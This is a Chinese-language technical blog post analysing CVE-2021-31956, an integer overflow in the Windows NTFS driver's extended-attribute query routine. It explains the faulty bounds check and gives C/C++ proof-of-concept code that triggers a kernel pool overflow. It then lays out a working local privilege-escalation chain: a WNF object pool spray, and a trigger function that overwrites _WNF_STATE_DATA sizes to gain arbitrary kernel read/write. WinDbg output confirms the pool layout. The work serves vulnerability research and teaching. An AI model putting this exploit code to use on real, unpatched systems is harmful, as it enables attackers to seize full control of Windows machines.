0%

CVE-2021-31956 ntfs漏洞分析与利用

CVE-2021-31956 ntfs漏洞分析与利用

cve-2021-31956是发生在ntfs.sys模块的一个整形溢出导致的漏洞,可以完成提权,这个漏洞使用的利用方法非常值得学习,也对ntfs.sys的漏洞了解下.

1.ntfs组件介绍

ntfs是微软开发的一种高性能,高可靠性的文件系统,用于管理和存储数据在windows操作系统中.

ntfs文件系统的底层由几个结构组成

VCB(Volume Control Block):ntfs系统的顶层控制块,用于控制文件系统中的卷.

FCB(FIle Control Block):用于控制文件的控制块

LCB(Log Control Block):用于控制ntfs的日志控制块,在系统故障和错误时,恢复文件系统状态

SCB(Stream Control Block):用于管理文件数据流,数据流包括元数据信息,大小,偏移,状态等

BCB(Buffer Control Block):用于管理缓存文件的数据块,提高文件读取和写入性能

ntfs的控制可以通过ioctl进行调用,在ntfs.sys中会通过NtfsUserFsRequest进行控制的分发.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* File */
NtfsQueryStorageReserve();
NtfsGetStatisticsEx();
NtfsQueryUsnJournal();
NtfsReadUsnJournal();
NtfsReadFileUsnData();
NtfsWriteUsnCloseRecord();
NtfsSetSparse();
NtfsQueryFileRegions();
NtfsQueryAllocatedRanges();
NtfsCreateOrGetObjectId();
NtfsGetObjectId();
NtfsDeleteObjectId();
NtfsGetRepairState();
NtfsWaitForRepair();
NtfsQueryVolumeNumaInfo();
NtfsCheckForSection();
NtfsReadFromPlex();
NtfsSetZeroOnDeallocate();

/* Dir */
NtfsQueryStorageReserve();
NtfsGetStatisticsEx();
NtfsQueryUsnJournal();
NtfsReadUsnJournal();
NtfsReadFileUsnData();
NtfsWriteUsnCloseRecord();
NtfsCreateOrGetObjectId();
NtfsDeleteObjectId();
NtfsGetRepairState();
NtfsWaitForRepair();
NtfsQueryVolumeNumaInfo();

/* Volume */
NtfsGetRetrievalPointerBase();
NtfsQueryStorageReserve();
NtfsGetStatisticsEx();
NtfsSetRepairState();
NtfsGetRepairState();
NtfsQueryVolumeNumaInfo();
NtfsGetVolumeData();
NtfsIsVolumeDirty();
NtfsMarkVolumeDirty();
NtfsIsVolumeMounted();
NtfsGetBootAreaInfo();
NtfsReadFromPlex();
NtfsSetExtendedDasdIo();
NtfsGetMftRecord();
NtfsDefineStorageReserve();
NtfsDeleteStorageReserve();
NtfsRepairStorageReserve();
NtfsSetPersistentVolumeState();
NtfsQueryPersistentVolumeState();
NtfsPrefetchFile();

在NTFS卷中,与文件相关的每个信息单位,如文件名,所有者,时间戳,内容,都作为文件属性,文件的数据也是属性,称为$Data.NTFS卷上有很多的属性.在本次分析的漏洞中,主要关注以下属性.

1
2
$EA 				Extended the attribute index 	扩展属性索引
$EA_INFORMATION Extended attribute information 扩展属性信息

2.漏洞分析

CVE-2021-31956这个漏洞最初由卡巴斯基发现,漏洞位于模块NtfsQueryEaUserEaList中.

这个函数用于查询扩展属性信息,可以在ring3通过系统api进行调用.

1
2
3
4
5
6
7
8
9
10
11
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer,
[in] ULONG Length,
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList,
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex,
[in] BOOLEAN RestartScan
);

文件的扩展属性可以通过ZwSetEaFile进行设置

1
2
3
4
5
6
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);

ZwQueryEaFile的参数EaList,是调用者提供的一个FILE_FULL_EA_INFORMATION结构指针,用于指定要查询的扩展属性,可以为空.

image-20230905154437852

它的结构如下

1
2
3
4
5
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;

NextEntryOffset表示下一个FILE_GET_EA_INFORMATION 类型条目的偏移量.一个32位的无符号整数,如果缓冲区中有多个条目,则下一个FILE_GET_EA_INFORMATION条目位于该偏移量上,如果该条目后没有其他条目,则为0.实现必须使用该值来确定下一个条目的位置(如果缓冲区中有多个条目).

EaNameLength:表示EaName数组的长度

EaName:表示要查询的扩展属性名称的字符起始位置

FILE_GET_EA_INFORMATION 这个数据结构表示要通过FileFullEaInformation查询的明确属性列表,如果没有指定,则返回指定文件的全部扩展属性.

当缓冲区中出现多个FILE_GET_EA_INFORMATION数据元素时,每个数据元素必须以4个字节的边界对齐,为了对齐而插入的任何字节都应该设置为0.

image-20230905155418739

FileFullEaInformation这个类用于查询文件扩展信息,当通过FILE_GET_EA_INFORMATION结构列表查询时,会返回FILE_FULL_EA_INFORMATION 结构列表.

1
2
3
4
5
6
7
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

同样的,当缓冲区有多个FILE_FULL_EA_INFORMATION 元素时,每个数据元素以4字节对齐,为了对齐而插入的任何字节都应该设置为0.

image-20230905160304485

NtfsQueryEaUserEaList函数的处理流程如下.

首先使用了循环获取需要查询的ealist中的成员,然后通过调用函数NtfsIsNameValid判断扩展属性名是否存在.

而后使用for循环遍历EaList,通过扩展属性名获取扩展信息,然后进行如下内存copy.

在copy之前做了如下判断,ea_block_size<outBuflen-padding,防止溢出.

copy的大小:ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;计算出需要copy的大小.

copy的源数据:v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + find_ea_offset);

copy的目标位置:然后将v16 = (_DWORD *)(outBuf + padding + offset);作为copy的目标位置

image-20230912100334095

在copy完成后,运行到此处,判断ealist中是否还有其他成员,如果还有,将进行如下计算:

将缓冲区长度-(已经拷贝的长度+padding)

然后计算出padding=((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;

image-20230912101006846

在以上的流程中,涉及到溢出的判断为ea_block_size<=outBuflen-padding.

outBuflen:随着循环逐渐递减 outBufLen -= ea_block_size + padding;表示outBuf剩余的长度.

padding:每次通过ea_block_size进行计算((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;进行4字节对齐.padding的长度

在这里,并没有看到outBuflen和padding的比较检查,而是直接相减然后与ea_block_size进行判断了

如果剩余的outBuflen小于padding的话,outBuflen-padding将会产生整数溢出,导致

ea_block_size<=outBuflen-padding处的检查直接被绕过.在memmove时,将会产生越界写.

而且outBuflen小于padding的这种情况,是有可能发生的.

我们构造2个扩展属性,并将outbuflen是这为0x12,第一个扩展属性为

EaNameLength=0x3,EaValueLength=0x6

第二个扩展属性为

EaNameLength=0x4,EaValueLength=0x64

将在此流程中进行如下计算:

第一次循环:

ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;

ea_block_size=0x3+0x6+0x9=0x12

溢出检查:ea_block_size<=outBuflen-padding.

第一次不需要对齐,当前padding为0

0x12<=0x12-0

而后计算下次对齐的padding,4字节对需要padding的值为2.

此时padding=2

第二次循环

ea_block_size=0x4+0x64+0x9=0x73

溢出检查:0x73<0-2,此时会发生溢出,检查将会被绕过.

此时在memmove时,会将0x73个字节的数据copy到0x12字节长度的缓冲区中,造成越界写.

而这块内存池,也是在它的上层函数NtfsCommonQueryEa中进行分配的一块分页内存池.

image-20230912140312734

2.构造poc

首先创建一个文件,然后按照上面分析的流程,设置2个扩展属性,进行查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
hFile = CreateFileA("payload",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (hFile == INVALID_HANDLE_VALUE)
{
printf("create the file failed\r\n");
goto ERROR_HANDLE;
}

WriteFile(hFile, "This files has an optional .COMMENTS EA\n",
strlen("This files has an optional .COMMENTS EA\n"),
&dwNumberOfBytesWritten, NULL);


curEa = (PFILE_FULL_EA_INFORMATION)payLoad;

//第一个扩展属性
curEa->Flags = 0;

curEa->EaNameLength = 3;
curEa->EaValueLength = 6;
//align 4。
curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);
memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, 6, 'A');

//第二个扩展属性
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);
curEa->NextEntryOffset = 0;
curEa->Flags = 0;

curEa->EaNameLength = 4;
curEa->EaValueLength = 0x64;
memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);
RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, 0x64, 'B');
rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));
if (rc != 0)
{
printf("NtSetEaFile failed error code is %x\r\n", rc);
goto ERROR_HANDLE;

}
eaData = malloc(0x12);
if (eaData == NULL)
{
goto ERROR_HANDLE;
}


memset(eaData, 0, 0x12);

EaList = (PFILE_GET_EA_INFORMATION)malloc(100);
if (EaList == NULL)
{
goto ERROR_HANDLE;
}
EaListCP = EaList;
memset(EaList, 0, 100);
memcpy(EaList->EaName, ".PA", strlen(".PA"));
EaList->EaNameLength = (UCHAR)strlen(".PA");
EaList->NextEntryOffset = 12; // align 4


EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);
memcpy(EaList->EaName, ".PBB", strlen(".PBB"));
EaList->EaNameLength = (UCHAR)strlen(".PBB");
EaList->NextEntryOffset = 0;

rc = NtQueryEaFile(hFile, &eaStatus, eaData, 0x12, FALSE, EaListCP, 100, 0, TRUE);

首先,申请了0x12大小的分页内存池,内存池实际的大小为0x30.

image-20230912151147533

image-20230912151636023

开始第一次获取扩展属性,将OutBuflen-padding的值与ea_block_size比较,进行溢出检查,我们申请的内存池大小为0x12,而我们ea_block_size=ea_block_size = v20->EaValueLength + v20->EaNameLength + 9;也就是0x3+0x6+0x9=0x12,也是0x12,因此通过验证,进行copy.

image-20230912151856702

image-20230912152049842

copy完之后,开始计算下次需要对齐的字节,也就是padding,0x12进行4字节对齐,需要2个字节进行填充

image-20230912152446900

然后进入第二轮的扩展属性copy前的判断,此时剩余的OutBuglen长度经过第一次copy,现在为0,此时padding长度为2,相减发生溢出

image-20230912152602892

由于发生溢出,仍然会通过验证,此次copy将发生越界写入

image-20230912152743286

在经过copy后,相邻的下个分页内存池已被破坏,由于系统在释放时没有对NtFE内存池进行一些检查,这里不一定会蓝屏,如果相邻的被覆盖内存池存在一些检查,那么有可能蓝屏.

image-20230912153108070

3.漏洞利用

1.利用思路

这个漏洞利用起来还是比较灵活的,因为这个漏洞ExAllocateWithTag申请的内存大小是可控的,方便我们构造堆风水,但是需要注意这是一个分页内存池,我们需要挑选一个在在分页内存池中存储的对象.并且ring3可以创建和访问.

windows的WNF对象是分配在分页内存池中的,并且可以用于构造任意地址读写原语.在之前的文章中有介绍.

https://ashlq.github.io/2023/08/18/EXP%E7%BC%96%E5%86%99-windows%E5%86%85%E6%A0%B8%E5%88%A9%E7%94%A8%E5%8E%9F%E8%AF%AD%E6%80%BB%E7%BB%93/

_WNF_NAME_INSTANCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+0x000 Header           : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 Void
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B

_WNF_STATE_DATA,实际的数据存储在此结构后

1
2
3
4
+0x000 Header           : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B

_WNF_NAME_INSTANCE小于0x200,_WNF_STATE_DATA结构大小可控,都是由LFH低碎片堆进行分配.

_WNF_NAME_INSTANCE大小为0xb8,再加上0x10字节的_POOL_HEADER,为0xd8,最终会分配在0xc0大小的内存池中.

Vulnerable chunk申请的大小为0xa1-0xaf都会在0xc0大小的内存池中.

Vulnerable chunk(NtFE) Overwrite chunk1(_WNF_STATE_DATA) Overwrite chunk2(_WNF_NAME_INSTANCE)

将vulnerable chunk下一相邻池布局为_WNF_STATE_DATA的目的是为了通过漏洞将其结构中DataSize进行篡改,

可以将数据的范围扩大.然后通过NtQueryWnfStateData/NtUpDateWnfStateData就可以实现相对的任意地址读写,利用此读写修改掉第三个块中_WNF_NAME_INSTANCE中StateData指针,换成一个伪造的_WNF_STATE_DATA,就可以实现利用.

exp

第一步是对内存池进行布局,这里_WNF_STATE_DATA和_WNF_NAME_INSTANCE的内存池大小均为0xC0.为了确保堆的布局如上的结构,确保我们第二个chunk为_WNF_STATE_DATA,需要一些验证.这是对内存池进行布局的代码

首先创建了大量的_WNF_NAME_INSTANCE对象进行内存占位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//	SPRAY_COUNT=20000
for (size_t i = 0; i < SPRAY_COUNT; i++)
{
Status = NtCreateWnfStateName(&StateNamesList1[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
if (Status != 0)
{
if (pSecurityDescriptor)
{
LocalFree(pSecurityDescriptor);
pSecurityDescriptor = nullptr;
}
Ulog("Could not create WNF state name at index (%lld) with error (%lx).", i, Status);
return false;
}
}

而后从索引1开始每隔2个开始释放,造成内存空洞.

此时理想的内存布局如下

1
_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE|_WNF_NAME_INSTANCE|FREE

而后通过调用NtUpdateWnfStateData创建未被释放的_WNF_NAME_INSTANCE的_WNF_STATE_DATA对象,创建的_WNF_STATE_DATA对象会在上一步释放造成的内存空洞中.

此时理想的内存布局如下

1
_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BYTE Buffer[0xa0] = { 0 };
for (size_t i = 1; i < SPRAY_COUNT; i += 2)
{
Status = NtDeleteWnfStateName(&StateNamesList1[i]);
if (Status != 0)
{
if (pSecurityDescriptor)
{
LocalFree(pSecurityDescriptor);
pSecurityDescriptor = nullptr;
}

return false;
}
StateNamesList1[i].Data[0] = 0;
StateNamesList1[i].Data[1] = 0;

Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNamesList1[i - 1], &Buffer, 0xa0, NULL, NULL, NULL, 0);
if (Status != 0)
{
if (pSecurityDescriptor)
{
LocalFree(pSecurityDescriptor);
pSecurityDescriptor = nullptr;
}

return false;
}
}

接下来,开始释放一部分_WNF_NAME_INSTANCE对象,再次造成内存空洞.这里要注意的是,需要释放掉StateData,再删除nameinstance对象.

当这一步执行完后,有很大概率会构成这样一个理想的内存布局,让Vulnerable chunk分配在释放的池中,可以进行漏洞利用.当然,这不是一定会成功的,因为释放掉了一些StateData,成功率会低一点,可以通过一些函数访问nameinstance或者StateData对象去验证自己的布局是否是理想的.

1
FREE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|FREE|_WNF_STATE_DATA|_WNF_NAME_INSTANCE|_WNF_STATE_DATA|FREE|_WNF_STATE_DATA
1
2
3
4
5
6
7
8
9

for (size_t i = 0; i < SPRAY_COUNT; i += 4)
{
NtDeleteWnfStateData(&StateNamesList1[i], NULL);
NtDeleteWnfStateName(&StateNamesList1[i]);

StateNamesList1[i].Data[0] = 0;
StateNamesList1[i].Data[1] = 0;
}

执行后如下,已经成功的进行了布局,NtFE相邻的第一个池和第二个池分别是_WNF_STATE_DATA和_WNF_NAME_INSTANCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Ntfs!NtfsCommonQueryEa+0x2a1:
fffff800`12bddf01 488bf0 mov rsi,rax
0: kd> !pool rax
Pool page ffffdf8990d846e0 region is Paged pool
ffffdf8990d84000 size: 190 previous size: 0 (Free) ....
ffffdf8990d84190 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84250 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84310 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d843d0 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84490 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84550 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84610 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
*ffffdf8990d846d0 size: c0 previous size: 0 (Allocated) *NtFE
Pooltag NtFE : Ea.c, Binary : ntfs.sys
ffffdf8990d84790 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84850 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84910 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d849d0 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84a90 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84b50 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84c10 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84cd0 size: c0 previous size: 0 (Allocated) Wnf Process: ffffb90f97691080
ffffdf8990d84d90 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84e50 size: c0 previous size: 0 (Free) Wnf
ffffdf8990d84f10 size: c0 previous size: 0 (Free) Wnf
0: kd> dt _WNF_STATE_DATA ffffdf8990d84790+0x10
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0xa0
+0x008 DataSize : 0xa0
+0x00c ChangeStamp : 1
0: kd> dt _WNF_NAME_INSTANCE ffffdf8990d84850+0x10
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : 0xffffdf89`8dd39710 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : 0xffffdf89`90d619e0 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : 1
+0x068 PermanentDataStore : (null)
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY [ 0xffffdf89`90d848d8 - 0xffffdf89`90d848d8 ]
+0x088 TemporaryNameListEntry : _LIST_ENTRY [ 0xffffdf89`90d85de8 - 0xffffdf89`90d84528 ]
+0x098 CreatorProcess : 0xffffb90f`97691080 _EPROCESS
+0x0a0 DataSubscribersCount : 0n0
+0x0a4 CurrentDeliveryCount : 0n0

下一步,开始触发漏洞.对Overwrite chunk1(_WNF_STATE_DATA)的AllocatedSize和DataSize进行覆盖. 然后通过NtQueryWnfStateData/NtUpDateWnfStateData函数利用Overwrite chunk1(_WNF_STATE_DATA)中对象进行相对任意地址读写,伪造Overwrite chunk2(_WNF_NAME_INSTANCE)中StateData.就可以借助伪造的_WNF_STATE_DATA对象进行任意地址读写,完成提权了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
bool TriggerOverflow()
{
HANDLE hFile = CreateFileA("TriggerBug",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (!hFile || hFile == INVALID_HANDLE_VALUE)
{
Ulog("Could not create file with error (%lx).", GetLastError());
return false;
}

DWORD dwNumbersOfBytesWritten = 0;
if (!WriteFile(hFile, "fs0x30", 6, &dwNumbersOfBytesWritten, NULL))
{
Ulog("Could not write to file with error (%lx).", GetLastError());
return false;
}

UCHAR Buffer[1000] = { 0 };

PFILE_FULL_EA_INFORMATION pEAInformations = reinterpret_cast<PFILE_FULL_EA_INFORMATION>(Buffer);

pEAInformations->Flags = 0;
pEAInformations->EaNameLength = TRIGGER_EA_NAME_LENGTH;
pEAInformations->EaValueLength = TRIGGER_EA_VALUE_LENGTH;


RtlCopyMemory(pEAInformations->EaName, TRIGGER_EA_NAME, TRIGGER_EA_NAME_LENGTH);

pEAInformations->NextEntryOffset = (pEAInformations->EaNameLength + pEAInformations->EaValueLength + 3 + 9) & (~3);

PFILE_FULL_EA_INFORMATION pSecondEAInformation_Overflow = reinterpret_cast<PFILE_FULL_EA_INFORMATION>(Buffer + pEAInformations->NextEntryOffset);
pSecondEAInformation_Overflow->NextEntryOffset = 0;
pSecondEAInformation_Overflow->Flags = 0;

pSecondEAInformation_Overflow->EaNameLength = OVERFLOW_EA_NAME_LENGTH;
pSecondEAInformation_Overflow->EaValueLength = OVERFLOW_EA_VALUE_LENGTH;

RtlCopyMemory(pSecondEAInformation_Overflow->EaName, OVERFLOW_EA_NAME, OVERFLOW_EA_NAME_LENGTH);

_WNF_STATE_DATA* pWNFStateData = reinterpret_cast<_WNF_STATE_DATA*>(reinterpret_cast<UCHAR*>(pSecondEAInformation_Overflow) + 0x10);


pWNFStateData->AllocatedSize = OVERFLOWN_STATEDATA_LENGTH;

pWNFStateData->DataSize = OVERFLOWN_STATEDATA_LENGTH;

IO_STATUS_BLOCK EaStatusBlock = { 0 };
NTSTATUS Status = NtSetEaFile(hFile, &EaStatusBlock, Buffer, sizeof Buffer);

if (Status != 0)
{
Ulog("Could not set EA file with error (%lx).", Status);
return false;
}

UCHAR OutBuffer[0x1000] = { 0 };
PFILE_GET_EA_INFORMATION pEaListRequest = reinterpret_cast<PFILE_GET_EA_INFORMATION>(new BYTE[100]());

if (!pEaListRequest)
{
Ulog("Could not allocate memory for EaList request.");
return false;
}

RtlCopyMemory(pEaListRequest->EaName, TRIGGER_EA_NAME, TRIGGER_EA_NAME_LENGTH);
pEaListRequest->EaNameLength = TRIGGER_EA_NAME_LENGTH;
pEaListRequest->NextEntryOffset = (pEaListRequest->EaNameLength + 9) & (~3);


PFILE_GET_EA_INFORMATION pSecondEaListRequest = reinterpret_cast<PFILE_GET_EA_INFORMATION>(reinterpret_cast<PUCHAR>(pEaListRequest) + pEaListRequest->NextEntryOffset);
RtlCopyMemory(pSecondEaListRequest->EaName, OVERFLOW_EA_NAME, OVERFLOW_EA_NAME_LENGTH);
pSecondEaListRequest->EaNameLength = OVERFLOW_EA_NAME_LENGTH;
pSecondEaListRequest->NextEntryOffset = 0;

EaStatusBlock = { 0 };

Status = NtQueryEaFile(hFile, &EaStatusBlock, OutBuffer, KERNEL_ALLOC_SIZE, FALSE, pEaListRequest, 100, 0, TRUE);

if (Status != 0)
{

if (pEaListRequest)
{
delete[] pEaListRequest;
pEaListRequest = nullptr;
}

Ulog("Could not Query EA file to trigger the bug with status (%lx).", Status);
return false;
}

if (pEaListRequest)
{
delete[] pEaListRequest;
pEaListRequest = nullptr;
}

return true;
}

image-20230927154157158